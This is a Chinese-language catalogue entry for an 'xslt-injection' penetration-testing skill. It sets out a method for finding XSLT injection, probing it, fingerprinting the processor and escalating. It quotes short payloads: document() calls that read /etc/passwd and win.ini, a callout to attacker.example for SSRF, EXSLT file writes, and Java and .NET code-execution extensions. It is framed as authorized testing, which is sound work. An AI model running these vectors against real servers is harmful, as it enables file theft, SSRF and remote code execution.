SuperAPI AI 工具集

xslt-injection

安全与审计

查看项目

更新于 10-16 07:22

技能介绍

用途:当攻击者可影响的 XSLT 被服务端编译执行时,本技能提供一套 XSLT 注入测试思路,先识别处理器家族,再按平台组合利用向量。仅限授权测试,多数载荷具破坏性。

主要能力与流程:

  1. 定位入口:查找名为 xslt、stylesheet、transform、template 的参数,SOAP 样式表、报表生成器、XML→HTML 转换器等。
  2. 探针:注入唯一命名空间或 xsl:value-of select="'marker'",若输出变化则可能存在执行。
  3. 指纹:用 system-property('xsl:vendor')、('xsl:version')、('xsl:vendor-url') 读取,常见特征包括 Xalan(Apache)、Saxon(Saxonica)、libxslt(GNOME 栈,常经 PHP/nginx)、MSXML/.NET。
  4. 按家族升级:
  • XXE via XSLT:在样式表中用 DTD 定义外部实体读取文件;加固解析器会禁用外部 DTD,失败不代表其他向量无效。
  • document():加载本地或远程文档,如 document('/etc/passwd')、document('file:///c:/windows/win.ini');document('http://attacker.example/ssrf') 可做 SSRF/带外,需配合错误或时序观察。
  • EXSLT 写文件:启用 exslt:document 时可用 href/method 写入任意路径,路径权限允许时可能经 web 目录等实现 RCE。
  • PHP:需 registerPHPFunctions() 类暴露(应用配置错误),可读文件、列目录;历史上有 assert、file_put_contents、preg_replace /e 等滥用,现代 PHP 多已移除或加固。
  • Java(Saxon/Xalan 扩展):可映射静态方法,如 rt:exec(getRuntime(),...),高度依赖扩展绑定与版本。
  • .NET:msxsl:script 允许时可执行 C# 代码(如 Process.Start)。

限制与注意:现代安全默认通常禁用扩展函数、外部 DTD 与脚本,未出现 RCE 不代表 document()/XXE 无效。需在与目标同引擎同版本的本地实验室复现,工具以 Burp/ZAP 手工重放与带外回连为主,无通用扫描器。若输入为通用 XML 解析,交叉参考 xxe-xml-external-entity;若关注出站请求,交叉参考 ssrf-server-side-request-forgery。建议按资料中的决策树模型选择盲测通道(错误、带外、时序)。